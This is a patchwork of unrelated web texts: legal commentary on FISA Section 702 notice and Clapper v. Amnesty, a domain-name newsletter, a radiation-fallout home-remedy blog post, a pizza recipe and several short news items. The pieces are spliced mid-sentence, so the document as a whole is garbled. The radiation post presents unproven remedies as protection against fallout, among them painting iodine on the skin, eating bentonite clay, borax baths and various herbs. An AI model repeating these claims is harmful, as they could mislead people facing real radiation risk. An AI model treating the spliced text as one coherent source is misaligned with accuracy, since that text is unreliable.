Endeavoring to avoid judicial review of the program, the Obama administration sought dismissal of the case through the narrow, technical doctrine of standing. Under this principle, a plaintiff cannot sue based on mere speculation of harm. As solicitor general, it was Verrilli’s job to sell the administration’s position to the Supreme Court; specifically, that the group comprised of attorneys and human rights, labor, legal, and media organizations represented by the ACLU lacked standing because their injuries were speculative. Due to the secret nature of the program, the Clapper plaintiffs had no evidence that they had been targeted for surveillance. It was a Kafkaesque burden of proof. Indeed, during oral argument in October 2012, Verrilli had barely completed his introduction to the Court before Justice Sonia Sotomayor asked point blank: “General, is there anybody who has standing?”
Verrilli had addressed this issue of unchallengeability in his July 2012 brief, citing a provision of the FISA statute that requires the government to provide advance notice to a criminal defendant if it intends to use any information “obtained or derived from” the 702 program. Verrilli reiterated this position in response to Justice Sotomayor’s question, stating that if a criminal defendant “gets notice that the government intends to introduce information in a proceeding against them,” then “[t]hey have standing.”
The Supreme Court accepted Verrilli’s argument and Justice Samuel Alito, writing for a 5-4 majority, cited the notice requirement in his opinion rejecting the challenge based on standing. But questions had already started to emerge about whether Verrilli’s statement was accurate. In December 2012, two months before Justice Alito’s opinion, Senator Dianne Feinstein (D-Calif.) boasted of the success of the 702 program in identifying and arresting terrorists. But these arrests had not produced any examples of notice in action.
According to the New York Times, Verrilli himself was eventually troubled enough to question national security prosecutors about whether they were, as he had claimed, actually providing notice. They weren’t. The Times‘ sources claimed that when Verrilli found out the truth, he successfully argued within the Justice Department that there was no justification for the lack of notice and the DOJ changed its procedures.
In late 2013, the Department of Justice finally began providing notice of warrantless surveillance to defendants. To date, three defendants have been informed: Jamshid Muhtorov in October 2013, Mohamed Osman Mohamud in November, and Agron Hasbajrami just this past week. The DOJ’s first public explanation of its conduct came in the case of Mohamud, a Somali-American who had been arrested as a 19-year-old in November 2010 for allegedly attempting to detonate a car bomb in Portland, Oregon (in a plot designed and supervised by the FBI). It is unclear how Mohamud fell under 702 surveillance, but a subsequent warrant for his online communications was obtained by the FBI. While Mohamud’s pre-trial notice informed his defense of the warrant, no mention of 702 surveillance was made.
Three years later, the government filed a supplemental notice admitting that the 702 program played a role in Mohamud’s case:
This supplemental notice is being filed as a result of the government’s determination that information obtained or derived from Title I FISA collection may, in particular cases, also be “derived from” prior Title VII FISA collection. Based upon that determination and a recent review of the proceedings in this case, the United States hereby provides notice to this Court and the defense, pursuant to 50 U.S.C. §§ 1806(c) and 1881e(a), that the government has offered into evidence or otherwise used or disclosed in proceedings, including at trial, in the above-captioned matter information derived from acquisition of foreign intelligence information conducted pursuant to the Foreign Intelligence Surveillance Act of 1978, as amended, 50 U.S.C. § 1881a.
The disclosure came a little late for Mohamud, who had already been convicted 10 months earlier and was awaiting sentencing. U.S. District Court Judge Garr King delayed sentencing to allow Mohamud’s attorneys to seek an explanation from the DOJ behind the shift in policy. That explanation arrived earlier this month. According to the DOJ’s February 13 brief, prosecutors simply “had not [previously] considered the particular question of whether and what circumstances information obtained through” an individualized FISA warrant “could also be considered to be derived from prior collection under” Section 702.
Notably absent from the brief was any type of documentary evidence in support of the DOJ’s account. The brief also made passing mention of Verrilli’s statement to the Supreme Court — in a footnote — declaring that Verrilli’s assertion to the Court was “an accurate statement of both the law and the government’s previous and current understanding.”
Here’s what remains unresolved:
First, if Verrilli read the statute to require notice, how had the DOJ, in practice, come to the opposite conclusion? The DOJ claims it never even considered whether follow-up surveillance based on initial Section 702 collection could be considered derivative, entirely ignoring half of the statute and violating a cardinal rule of statutory interpretation that all words in the statute be given meaning. As my colleague Marcy Wheeler points out, it is particularly difficult to believe the DOJ’s claimed interpretation given the inconsistency in how it interpreted the word “derive” in a virtually identical context. For example, if electronic surveillance A led to search warrant B, notice was given. But if warrantless electronic surveillance A led to targeted electronic surveillance B (a practice that was further confirmed during a congressional hearing on Tuesday)? No notice.
Second, how did Verrilli come to make his claim? The New York Times reported that lawyers in the DOJ’s National Security Division vetted Verrilli’s claims and helped prepare him for oral argument. When did he discover he had misled the Court? Before or after Clapper v. Amnesty was decided?
Third, the DOJ brief offers no proof to substantiate its asserted sequence of events. No documentary evidence. No affidavit. When facts are presented before a court, they generally must be substantiated through documentary evidence and sworn testimony. In this case, an affidavit, signed under penalty of perjury, attesting to the fact that notice never even came up pretrial, to when it came up, and to how the DOJ’s practices came to be reversed, would normally have been required. Is there contemporaneous documentary evidence supporting the DOJ’s claim?
Fourth, will the solicitor general be correcting the Supreme Court record? In a post at the Just Security Blog, Jameel Jaffer and Patrick Toomey, the ACLU attorneys who litigated Clapper v. Amnesty, argue that Verrilli should write to the Supreme Court and correct the record as he did in the case of Nken v. Holder.
Lastly, will the Justice Department’s congressional overseers demand answers? Senators Mark Udall (D-Colo.), Ron Wyden (D-Ore.), and Martin Heinrich (D-N.M.), in a November 2013 letter, called upon Verrilli to provide more information, stating their concern that “the Justice Department has not gone |
ting may flourish within the '.bit' domain registry. The current cost to register a.bit domain is very low, under ten cents. So far, over 13,000 names have been registered (a list can be viewed here: namecoin.bitcoin-contact.org/domains.php), a review of the list suggests that cybersquatting may already be rampant.
Unlike other alterNIC operators, such as Name.Space, the folks who run OpenNIC and OpenNIC-enabled TLDs such as.bit don't really want to be put in the ICANN-managed official DNS root. And there's no danger they will be demanding that registrants submit to the UDRP.
But that doesn't mean that OpenNIC is a lawless place. National trademark laws -- in the U.S., this means Anticybersquatting Consumer Protection Act and the Lanham Act -- still apply. OpenNIC says that it will respect national trademark laws. Up to a point. And in "commercial" TLDs only. The OpenNIC TLD Governing Policy provides:
Some TLDs will be commercial spaces, so various countries' Trademark laws will apply to them. If a court of legitimate jurisdiction rules that a registration in a commercial TLD violates a Trademark, OpenNIC will revoke that registration as a courtesy to that country. Some TLDs will be established for purposes, such as parody, which are inconsistent with corporate or commercial activity, or will explicitly forbid corporations from holding subdomains. These spaces will, by definition, not be possible to mistake for a Trademark holder's own site and therefore no country's Trademark law will be considered to apply to domains within them.
Seems simple enough: trademark laws apply in "commercial" TLDs, but nowhere else. Good luck with that. Obscurity is the only thing that will save these alterNICs from trademark owner scrutiny and even that, it seems, may not be sufficient.
Trains and Cake Don't Mix
In So you want to apply for a new gTLD in the second Round of the ICANN new gTLD program? (CircleID), Jean Guillon delivers a tongue-in-cheek account of life as a new gTLD applicant:
New domain names are now on the market and you start to realize that you may have missed the train by not submitting your own new gTLD application. So why not get your part of the cake and consider applying for your own new Top-Level Domain in the second Round of the ICANN new gTLD program? Why not become a "Registry" and sell domain names... to the world?
A TLD registry is either a train or a cake. It can't be both. A blog post can be either straight exposition or satire. It can't be both.
Domain Name Hell
The dispute between Japan-based Denso Corp. and U.K.-based Densoft Consultancy Services Ltd. over rights to the denso.com domain name is over a decade old, with no end in sight, despite two rulings that Denso Corp. is entitled to the domain as a matter of trademark law. Here's a quick run through the relevant timeline destinations:
On March 6, 2000, Denso Corp.'s registration of denso.com lapsed.
One week later, the domain name was registered by an entity in Russia unrelated to Denso Corp. and then transferred several times while Denso Corp. attempted to track down, and negotiate with, the registrant. The domain name eventually was registered by Densoft Consultancy Services Ltd., based in the United Kingdom.
On June 23, 2003, Denso Corp. filed a UDRP claim with the World Intellectual Property Organization. On Nov. 3, 2003, WIPO issued a decision in favor of Denso Corp. Denso Corp. v. Densoft Ltd., No. 2003-0482 (WIPO, 11/3/03). [Ruling in Russian!]
Densoft Ltd. declined to transfer the domain, instead filing an action in Russian courts. After five years of litigation, on Nov. 11, 2008, the Russian Supreme Court ruled in favor of Denso Corp.
The Densoft and its registrar (ICANN-accredited Fiducia LLC nevertheless continued to decline to transfer the domain to Denso Corp.
On March 14, 2014, Denso Corp. filed an Anticybersquatting Consumer Protection Act claim in federal Court in California.
As matters presently stand, Denso Corp. has more work do to. On Sept. 19, a magistrate judge in the Northern District of California rdenied the Denso Corp.'s motion to waive ACPA service by publication but kept the case alive, leaving an interesting jurisdiction issue for another day. Whether or not the Northern District of California is an appropriate district for an in rem ACPA action appears to be an open question, as is the question of whether the court has personal jurisdiction over the U.K.-based Densoft and Latvia-based registrar Fiducia. (Though it seems that the registrant might have inadvertently accepted jurisdiction in this case.)
Where is ICANN in all this? The RAA obligates registrars to transfer domains as directed by UDRP decisions. It appears that this registrar was directed to transfer the domain to Denso Corp. twice, in 2003 and in 2008.
.wiki,.ink,.design...
From Top Level Design wins.design contention set (Domain Name Wire):
Hotly contested top level domain name goes to Portland company. The.design top level domain name will be run, fittingly, by Top Level Design.
Congrats to Ray and his group.
W3C Anniversary Event in Santa Clara
The 20th anniversary of the World Wide Web Consortium will be celebrated with dinner and speeches on Oct. 29, 2014, in Santa Clara, Calif. Featuring remarks by ICANN president and CEO Fadi Chehade, Vinton G. Cerf, vice president and Chief Internet Evangelist at Google, and Sir Tim Berners-Lee, inventor of the World Wide Web.
Three Good Reads on Right to Be Forgotten
Two really good pieces on Europe's "right to be forgotten" were published in the last week: The Solace of Oblivion, by Jeffrey Toobin, and The Right to Be Forgotten: An Insult to Latin American History, by Eduardo Bertoni.
Last week the European Commission's DG for Justice defended the European Court of Justice's RTBF ruling Myth-Busting: The Court of Justice of the EU and the "Right to be Forgotten." [pdf]. Also an interesting read.
Problems With Free Priorization
In Zero rating: enabling or restricting Internet access? (Internet Society), ISOC Regional Programmes Coordinator for Asia-Pacific Noelle Francesco de Guzman wonders whether the local telco practice of giving free access to popular content will do more harm than good:
That the most prevalent zero-rated programmes involve giant US-based providers such as Facebook, Google and Twitter, makes it more contentious as it could also pose a threat to local content development.
ICANN 51 Meeting Preview
The Pre-ICANN 51 Policy Update Webinar is coming up on Oct. 1. Details at the link.
Follow @tjotoole
Thomas O’Toole is managing editor of Bloomberg BNA’s Electronic Commerce & Law Report and a contributor to Bloomberg BNA’s Internet Law Resource Center.I almost cannot believe that I’m writing this post.
It’s not to scaremonger. It’s hopefully to help.
See, This Wall Street Journal article points out that potassium iodide retailers are inundated with calls (and running out of their stocks rapidly) on the fear that the Japan nuclear fallout will reach the west coast. I’ve also seen the insane eBay auctions where potassium iodide pills are selling for upwards of $1000 at this point.
Last week, they were $8 for a pack of 14.
Am I personally concerned about radiation reaching the United States? Maybe a little bit. But there are so many mitigating factors, and the news reports on whether these meltdowns will cause radiation to travel through the jet stream are very conflicting.
But: Knowledge is power. And I’m no after-school special. I’m just saying, it is. Knowing what to do in confusing situations helps quell the fear.
And I love you guys; I don’t want you to be afraid. And I want you to feel prepared, if you are.
I’ve been researching nonstop for the last three days, and it had finally reached a point where I had to share all the information I was finding. All of a sudden, it seemed crazier not to share it than TO share it (and risk you guys thinking I was crazy).
PLEASE REMEMBER: I am not a doctor or a health professional. NONE of these things should be used as your sole source of medical advice, nor should they be acted on without consulting your physician, if you deem it necessary. I’m just sharing what I found, so you’ll have the same information I have.
First Things First – Potassium Iodide and Iodine
If stores in your area are out of potassium iodide tablets don’t fret. Painting on iodine or betadine will provide a good bit of protection against radioactive iodine. While not as reliable as ingesting potassium iodide (and not as thoroughly scientifically studied), your body will absorb the iodine, which will then travel to and hopefully protect your thyroid.
(I also just ran across, while searching for potassium iodide-containing products, this ingredients list for Ensure Plus, which DOES contain it. Not sure how much in relation to the supplements, though. In addition – funny enough – Milk Bones also contain potassium iodide. Now you know how to protect – and satisfy – Spot!)
How to paint on iodine: Purchase a bottle of 2% tincture of iodine or Betadine at your local drugstore (you may have to ask for it at the pharmacy). Paint about 2 ml or so on your abdomen (a little less for children) and allow your skin to soak it in. Do this daily until the iodine remains a reddish-orange color on your skin (doesn’t fade). When it stops fading, it means your body has enough iodine.
However, if you’re consistently exposed to radiation, you’ll want to keep painting on the iodine every day.
DO NOT DRINK IODINE OR BETADINE. Neither of these things should ever be ingested. Also, avoid them if you have an allergy to iodine (which you most likely do if you’re allergic to shellfish).
The good news is, your body naturally needs iodine, so this will serve a health benefit. (Iodine helps regulate the thyroid, helps the health of skin and hair, helps with energy and more – read more about the health benefits of iodine here.)
Now for the not-so-good news. The only thing potassium iodide and iodine does is protect your thyroid against radioactive iodine. That’s it. They fill up your thyroid and disallow the radioactive iodine to infiltrate and cause health problems and cancer down the road.
So while it’s nice to have either potassium iodide or iodine, it’s not only radioactive iodine that’s potentially going to be floating through the jet stream.
You might want to note some of the other things you can eat/supplement to help eliminate some of the radioactive exposure (IF IT HAPPENS).
If you have a thyroid issue, there are some other confounding factors to consider about iodine as well.
Foods That Contain Iodine and Detoxifying Properties
There are other natural ways you can get iodine into your system, and these ways also have detoxification properties, so you’ll get added benefit.
And these things are: Basically anything that comes out of the ocean.
Kelp
Seaweed
Spirulina
Chlorella
Natural News reported that both blue-green algae and spirulina (in addition to containing iodine) helps rid the body of heavy metals – a concern in radiation exposure – and protects the body against cancer.
All of the above, though, according to dozens of sources I’ve read, are excellent detoxifiers and good at reducing the level of heavy metals in the body.
Where to Buy Them: You can purchase dried/powdered kelp, spirulina, and blue-green algae at most natural food stores. Mine happened to be out of kelp two days ago. (I put kelp and/or spirulina in the green smoothies I drink on a regular basis.) You can also order kelp and spirulina from Mountain Rose Herbs. They’re actually a lot cheaper there than what I pay at my local natural foods store.
You might also be able to find any of the above (excepting shellfish) in liquid extract form, as well.
In Chernobyl, for instance, spirulina was used to help save many children from radiation poisoning. By taking 5 grams of spirulina a day for 45 days, the Institute of Radiation Medicine in Minsk even proved that children on this protocol experienced enhanced immune systems, T-cell counts and reduced radioactivity. Israeli scientists have since treated Chernobyl children with doses of natural beta carotene from Dunaliella algae and proved that it helped normalize their blood chemistry. Chlorella algae, a known immune system builder and heavy metal detoxifier, has also shown radioprotective effects. Because they bind heavy metals, algae should therefore be consumed after exposure to any type of radioactive contamination. – From Shirley’s Wellness Cafe
Protective and Detoxifying Herbs
Cilantro (has been shown to remove heavy metals from the blood stream)
One thing you can do, right now, to save a big bunch of cilantro is make a pesto out of it. There are a couple of recipes at the link, but this is my favorite pesto recipe EVER. It uses garlic and pumpkin seeds, which are two radically healthy ingredients, too. And delicious.
Best part? Make a few batches of it and freeze the excess. It’ll keep for months and months in the freezer.
In fact, this headline states Rosemary Found to Offer Best Protection Against Radiation Poisoning. That speaks loudly enough, don’t you think? In addition to eating the herb fresh or dried (and cooked into dishes), you can also find rosemary extract or tincture in just about any natural health food store.
Gingko Biloba
Ginseng
Both of these herbs are cited on the NIH.gov site (surprise!) as excellent protection and treatment for radiation. There are several other plants listed in this compilation of studies, but I didn’t want to overwhelm. Here’s the link to the studies if you want to read more. The actual name of the paper is: Radioprotective Potential of Plants and Herbs against the Effects of Ionizing Radiation.
Dandelion
This plant has excellent detox abilities, in that it’s very effective at whisking away free radicals. But it’s also great for your liver and keeps it functioning properly, which is what you want in order to eliminate any toxins that might be in your body.
You can pick fresh dandelion and eat them in salads, but if you’re concerned about radiation, this may not be the best option. (As the radioactive particles would have fallen on the plants, as well.) Check your natural health food store for dandelion root to make a tea with, dandelion tincture, or even dandelion greens in the produce section.
Other Natural Treatments for Radiation Exposure
Bentonite Clay
Not only can you bathe in this to help pull toxins from your skin. Bentonite clay, for example, is used by Russian nuclear workers (slathered on their skin) before working with nuclear material.
However, you can use it internally, safely, in moderation to help pull out toxins and absorb radiation. Bentonite clay is used in traditional medicine for treating heavy metal poisoning.
It’s been difficult to find any kind of recommendation on how much clay to take at a time, but I did find one commenter say she takes 1 tsp a day with good effect.
Miso Soup
One of the main ingredients in miso soup is kelp, but it also includes mushrooms (which have their own health benefits, as well). You can buy dried miso at stores like Whole Foods and snack on the soup for months.
To be honest, this one’s a bit of conjecture on my part. But boron (which is in borax) is used for radiation shielding on an industrial level. If you’re particularly concerned about radiation entering through the skin, take a bath with 1/8 c. borax mixed in the water. It’s actually a fantastic skin softener, so you’re not hurting anything. Let yourself air dry, as to not wipe off all the borax.
Here’s more about boron, borax, and radiation protection. It appears you can also take borax internally, but I’m a little wary on that one.
Apples
Sunflower Seeds
According to another Natural News article, both apples and sunflower seeds contain a pectin that’s adept at cleansing the body from residual radiation. (They also mention that the glucosides in buckwheat add protective measures against radiation if eaten before exposure.)
Activated Charcoal
Activated charcoal, taken internally, removes toxins and poisons from the body. In fact, it’s kept in nearly all emergency rooms at this point to help mitigate the effects of poisoning. According to WebMD, there is also some scientific evidence that it lowers cholesterol. Here’s more on how to take activated charcoal internally.
I actually just bought a giant bag of activated charcoal last month, which I ordered from More Than Alive, but it’s also available at most natural food stores. Please note, activated charcoal and charcoal briquettes are two vastly different things. Please do not eat your barbecue charcoal.
Final Thoughts on Radiation Exposure
We’re exposed to radiation every day, via the sun. There’s really no escaping it. However, the vast majority of the information I’ve gathered above will help with that, too.
One last thing that’s made me feel exceptionally good is having a decent water filter. If you have the extra cash, I really would recommend getting a Berkey. Not only do I feel secure knowing my water filter is very adept at cleaning out toxins and bacteria and the like, but I also picked up (for free) the fluoride filter for it.
I ordered mine from More Than Alive (aff link), which had the best prices on Berkey filters I could find.
Finally, here are a few more resources you can peruse for your own edification:
The CDC page on radiation
Natural News articles on:
Radiation Network comprises Geiger counter results from across the nation. You can monitor the latest radiation levels (currently, there doesn’t appear to be all that many stations) as they increase or decrease.
Does Radiation Exposure Concern You?
How are you feeling about everything that’s going on right now in Japan? Are you concerned about nuclear fallout reaching where you live?
Do you have any detox and protective measures to add to this list? Any ideas are welcome!A healthy zucchini pizza crust topped with chipotle bbq sauce, bacon, grilled corn, red onion and plenty of cheese!
One of my favourite discoveries in the last little while has been the cauliflower pizza crust which is a really nice light and healthier alternative to a regular pizza crust. Ever since then I have been wondering what other things could be used to make pizza crusts and the first thing that came to mind was zucchini! Now that zucchini season is here one of the first things that I used it in was a zucchini crust pizza and over the last few days I have been experimenting with them! All of my zucchini pizza crust tests have been successful and it is easier to work with than cauliflower. More importantly than simply being able to use zucchini in a pizza crust, the zucchini pizza crust is amazingly if not addictively good! I will be using all of that zucchini to make many zucchini pizza crust pizzas this summer!
I started with a recipe that was pretty much the same as the cauliflower pizza crust recipe where you cook the zucchini, squeeze out the moisture, mix it with an egg and some cheese and bake it until golden brown before adding the pizza toppings and baking a second time. This recipe works fantastically well but I was wondering if you really needed to cook the zucchini so for my next pizza I tried using the zucchini raw. The raw version of the recipe also works but it is a little bit more difficult to squeeze the moisture out of the zucchini and that meant that it needed to bake a bit longer, 20 minutes rather than 15, and everything else the same. Another common way to extract excess liquid from zucchini is to mix it with a bit of salt and let it sit for 20 minutes so I tried this method next and I found that it works as well a cooking the zucchini and it takes about the same amount of time but I found the crust was a bit salty. I was also wondering what the addition of a touch of flour would do for the crust so for my next one I added 1/4 cup of flour and the results were good; the crust is a little stronger and easier to handle but it is also not quite as light and airy as one might expect. In the end all of the crusts worked well and I think that I will stick with the original one with the pre-cooked zucchini and no flour but feel free to experiment yourself!
Alright enough about the crust, what about the toppings? Given that it is a zucchini crust I wanted to go with something summery and I kept coming back to one of my favourite combos, zucchini and corn. I had several ideas on how to use the zucchini and corn combo in a pizza and I started out with a BBQ bacon, and grilled corn pizza on the zucchini crust. I went with a smoky chipotle BBQ sauce for the base and I topped it with a smoked gouda cheese along with the smoked bacon and grilled corn along with some red onions. The combination of spicy BBQ sauce with the sweet corn and salty bacon and all of the smoky undertones is a fabulous one especially on the tasty zucchini crust! If you are feeling a bit adventurous adding a fresh diced tomato and avocado topping really takes this pizza over the edge!
The zucchini pizza crust holds up well and you can easily pick it up and eat it with your hands! (Note: Leftovers will require a fork…)Today, the Louisiana House of Representatives overwhelmingly approved two bills that would repeal the state’s expensive, unnecessary and time-consuming license for African-style natural hair braiders. In Louisiana, braiders can only work if they first obtain a specialty license in “alternative hair design,” which takes at least 500 hours of training. Yet no schools currently offer that curriculum.
That stringent red tape has stifled entrepreneurship. Research by the Institute for Justice found that Louisiana had only 32 licensed braiders in 2012. By comparison, neighboring Mississippi, which does not license braiders, had over 1,200, even though Louisiana has a larger African-American population.
Sponsored by Rep. Julie Emerson, HCR 5 would eliminate the state’s alternative hair design permit, while HB 468 would exempt natural hair braiding from the state’s cosmetology laws. Both bills have earned endorsements from across the political spectrum, including from the Louisiana Association of Business and Industry, the Louisiana Legislative Black Caucus, the Institute for Justice and Americans for Prosperity.
“The government has no business licensing something as safe and common as braiding hair,” said Institute for Justice Senior Legislative Counsel Lee McGrath. “These reforms would eliminate a completely arbitrary regulation that stops braiders from earning an honest living.”
Louisiana may soon join a growing, nationwide movement to get government regulators out of braiders’ hair. Currently, 22 states have exempted hair braiding entirely from licensing laws, including, most recently, South Dakota and Indiana. Similar bills are pending in New Hampshire, New Jersey and Rhode Island.
Since its founding, the Institute for Justice has filed over a dozen lawsuits on behalf of natural hair braiders and is currently challenging licensing for braiding in Missouri. Last year, the Institute for Justice published Barriers to Braiding: How Job-Killing Licensing Laws Tangle Natural Hair Care in Needless Red Tape, which found that braiders received very few complaints and that strict licensing laws stifle economic opportunity.TORONTO – Emil Meek will have to make his UFC 206 debut with an altered look.
During the official weigh-ins in Toronto on Friday morning, the Ontario Athletic Commission ordered the Norwegian fighter Meek to cut his trademark beard if he wants to remain on Saturday night’s card against Jordan Mein.
Meek’s camp told MMA Fighting that the explanation given to him was that if they can grab the beard, it’s considered too long.
Per Ontario MMA rules, "all contestants shall be cleanly shaven immediately prior to competition, except that a contestant may wear a closely cropped mustache."
The 28-year old Meek, who is coming off of a 45-second knockout of Rousimar Palhares back in May, goes by the nickname "Valhalla" in homage to the Norse heaven in Asgard. His beard — as well as his two-sided ax — was part of the "viking" look that he was known for.
Meek’s fight with Mein was bumped up to the main card after the original main event between Anthony Johnson and Daniel Cormier was scrapped.× Royal Caribbean sends cruise ship to help evacuate people from Puerto Rico
NEW YORK – Royal Caribbean is using a cruise ship to help evacuate people from Puerto Rico and deliver needed supplies to Caribbean islands.
The cruise line announced on Tuesday that it is canceling its September 30 Adventure of the Seas trip so it can use the ship to help victims of Hurricane Maria.
Today Adventure of the Seas will dock in Puerto Rico, the first stop in a series of three to drop off relief supplies & pick up evacuees. https://t.co/u8XyQ9rAwk — Royal Caribbean (@RoyalCaribbean) September 27, 2017
The 3,800 passenger vessel will bring aid to San Juan, as well as St. Croix and St. Thomas, which were hit by both Maria and Hurricane Irma. Adventure arrives in San Juan on Wednesday and will take evacuees to Fort Lauderdale before returning to Puerto Rico next week.
Thanking our loyal partners @RoyalCaribbean for their committed support to Puerto Rico's relief, rebuilding, and recovery efforts. pic.twitter.com/zNN66o2pMW — Jose Izquierdo (@jri2) September 27, 2017
The evacuations come as people remain stranded inside Puerto Rico’s main airport, which is running on fumes. Only ten flights made it in and out of the San Juan airport on Tuesday, and just 18 are scheduled for Wednesday. Security checks are being done by hand because TSA equipment was damaged in the storm and airlines are having a hard time printing boarding passes.
A week after Maria hit, people are desperate for provisions.
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Royal Caribbean is donating water, medical supplies and more to those in need.
The company started offering aid after Hurricane Irma devastated a wide swath of the Caribbean earlier this month. So far, it has helped evacuate more than 1,700 people and has promised to match donations of up to $1 million to help with Irma relief.
Other cruise lines are also pitching in.
Norwegian Cruise Line is working with the disaster relief group All Hands Volunteers to help rebuild schools and infrastructure in Puerto Rico. The company is donating $600,000 toward rebuilding efforts in the Florida Keys and the Caribbean, and has promised to match up to $1.25 million in donations to All Hands Volunteers and Happy Heart Fund's relief efforts from its guests, team members and partners.
Following Hurricane Irma, Carnival deployed 11 ships to bring supplies to islands in the Caribbean. The ships have been making stops in Antigua and St. Kitts to drop off deliveries to Barbuda and St. Maarten during regular cruise trips.
In addition to making donations, Carnival Corporation joined the Micky and Madeleine Arison Family Foundation and Miami HEAT Charitable Fund in pledging up to $10 million in funding and support for Florida and the Caribbean following Irma.
Read more on Hurricane Maria.
40.712784 -74.005941CLOSE Virginia police are searching for a suspect who escaped private custody at INOVA Fairfax Hospital, barefoot in his hospital gown. Wossen Assaye is considered armed and dangerous. The hospital was locked down for several hours after his escape.
Wossen Assaye, 42, escaped wearing a hospital gown and no shoes. (Photo: Fairfax County (Va.) Police Department)
FALLS CHURCH, Va. — An inmate who overpowered a guard and took her weapon at a Northern Virginia hospital is being held in jail without bond, a judge decided Tuesday.
Wossen Assaye, 42, fled Inova Fairfax Hospital in a stolen vehicle at about 3 a.m. ET Tuesday and led police on an eight-hour manhunt, said Chief Cathy Lanier of the Washington Metropolitan Police Department. He is accused of stealing two cars in Virginia before he was caught getting off of a bus at Pennsylvania and Minnesota avenues in the southeast quadrant of the District of Columbia.
Assaye, dubbed earlier this month as the "bicycle bandit" after being accused of robbing a dozen banks in Northern Virginia and fleeing on a bike, still had a hospital gown on under some clothes and was wearing an ankle chain when he was captured.
Fairfax County Police, U.S. Marshals, the FBI and Virginia State Police all were searching for Assaye, who had been in the custody of two private security guards when he escaped from the suburban Washington hospital armed with the security officer's gun.
A few miles from the hospital, Assaye broke into the trunk of a car and waited, said Col. Edwin C. Roessler Jr., chief of Fairfax County Police. Once the car's owner, a nurse who works at Fort Belvoir hospital, began driving to work a few hours after the escape, Assaye kicked out the trunk and carjacked the vehicle.
Scared, the woman crashed her car in the driveway of a house and fled. The man, believed to be Assaye, took off in her car.
She then ran two blocks to a nearby gas station for help.
Police later found the car on a street not far from where it was taken. A weapon believed to be the gun Assaye took from the female security guard was recovered.
Assaye also is accused of carjacking a second vehicle, a 2008 gray or silver Hyundai Elantra with Virginia license plate XTU-5024, that has not been recovered.
Police investigate at the scene in Northern Virginia where an escaped prisoner allegedly carjacked a woman for her 2002 Toyota Camry on March 31, 2015. (Photo: Delia Goncalves, WUSA-TV, Washington, D.C.)
Roessler said an "alert community member" identified Assaye and called District of Columbia police.
"We are glad that he is in custody and no one was gravely hurt in this event," Roessler said.
In Assaye's initial appearance before federal Magistrate Judge Ivan Davis in Alexandria, Va., the suspect was ordered held without bond on an escape charge. He was dressed in a white vinyl jumpsuit, shackled at the wrists and ankles and guarded by four marshals.
The hospital had been placed on lockdown shortly after the incident began. One shot was fired after Assaye overpowered a female guard and took her gun. No one was injured.
Dave Turk, a spokesman for the U.S. Marshals Service, said Assaye left the hospital wearing a light blue hospital gown but no shoes.
Bobby Mathieson, U.S. marshal for the eastern district of Virginia, said Assaye had been shackled in the hospital room and was alone with the female guard when the struggle occurred. Mathieson said the second guard, a male, had left on a restroom break.
Assaye briefly held the female guard hostage before he fled the hospital, said Mathieson, who plans a review of policies and procedures in place for guarding inmates at a hospital. The guards were with Allied Protective Services, a private company.
Assaye is a suspect in multiple armed bank robberies in the area while on a bicycle and was being held by Alexandria city officials on federal charges at the time of his escape.
Assaye was arrested March 20 charged with a robbery at Apple Federal Credit Union in Alexandria. But in a court document, an FBI agent suggests Assaye is responsible for a string of 12 bank robberies in Northern Virginia during the past year and a half.
In all, the banks were robbed of about $32,000. In most cases, the robber entered the bank with a cellphone to his ear, demanded money and fled with cash on a bicycle.
Brooke Rupert, a public defender who was representing Assaye in the robbery case, declined to comment Tuesday.
Assaye had been booked into the William G. Truesdale Adult Detention Center in Alexandria on federal charges March 21, Alexandria Sheriff's Office officials said. On Friday, he tied a bedsheet around his neck and dove off a prison cell block in an attempt to commit suicide.
He was transported to Inova Fairfax Hospital for treatment.
"Per an agreement with the U.S. Marshals Service, Alexandria deputy sheriffs maintained custody of Assaye for the first 24 hours he was at the hospital before turning custody over to security officers contracted by the U.S. Marshals," according to the sheriff's office.
Contributing: Jane Onyanga-Omara, USA TODAY; Meta Pettus, Bruce Leshan and Andrea A. McCarren, WUSA-TV, Washington; and The Associated Press
Read or Share this story: http://usat.ly/1bM8xAZWhat a #%&@ loser!
Ousted White House communication boss Anthony Scaramucci doesn’t think he’ll land another West Wing gig, a source close to the situation told The Post — which means he’s likely going to have to pay up to $16 million in taxes on the proceeds he made from selling his hedge fund.
Under IRS conflict-of-interest rules, if a person sells an asset to take a White House job, they must obtain that job within 60 days of the sale.
They must then keep the job through two pay periods, according to a source, and place the proceeds of the sale in approved assets, including Treasury bonds.
The person then can defer the taxes as long as the proceeds remain in assets such as Treasuries, sources said.
The IRS rule is aimed at keeping wealthy persons from paying a tax penalty just for taking a public-sector job.
Scaramucci, often called the Mooch, was ousted as communications boss after only 10 days.
The Mooch and his partners sold SkyBridge Capital so the Wall Street vet-turned-Beltway insider would comply with conflict-of-interest rules.
The Mooch’s slice of the proceeds is about $80 million.
If he doesn’t land another White House gig, he will be on the hook for capital gains taxes — roughly 20 percent for someone in his tax bracket, or up to $16 million.
The sale of SkyBridge is still pending.
The Mooch is said to be not optimistic about landing a new White House job — despite rumors that President Trump will come to the aid of one of his most outspoken supporters.
“The rumor is Trump feels bad [about firing Scaramucci] and is going to give Anthony a job as ambassador to The Organization for Economic Cooperation and Development (OECD),” a source says. Such a job would be considered a White House job and qualify the Mooch for a tax deferment.
Scaramucci is said to be very interested if a new White House job offer is made, a second source said.
Scaramucci was ousted from his post by newly appointed Chief of Staff Gen. John Kelly just days after the Mooch went on an expletive-filled tirade against presidential adviser Steve Bannon and then-Chief of Staff Reince Priebus.
In January, Scaramucci, believing he was getting the job as assistant to the president for public engagement and intergovernmental affairs, agreed to sell his SkyBridge fund to Washington, DC-based RON Transatlantic and the US-based arm of China’s HNA Capital.
That White House position never materialized.
Scaramucci lawyer Eliot Berke told CNN on Tuesday that his client “is going to pay the capital gains taxes once the sale goes through.”
A spokesman for SkyBridge buyer HNA said, “The news about Anthony Scaramucci leaving his role as White House communications director has no impact on HNA’s commitment to closing the SkyBridge transaction as soon as possible. We fully expect it to move forward and there is no change from our hope that it will be closed by the end of the summer.”
SkyBridge said it, too, was working toward closing the deal — which is forecast to happen this summer.
When reached by The Post, Scaramucci declined comment.We are planning to undergo server maintenance in order to lay the groundwork for other language options in-game. Maintenance will take place during the following period:
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OGDEN, Utah -- Vandalism and graffiti have once again led to the shutdown of Ogden’s only skate park.
On Monday, the gate to Lorin Farr Skate Park was locked and “no trespassing” signs were posted. While the park has been tagged in the past, some worry the gate has locked for good as a reopen date has not been set.
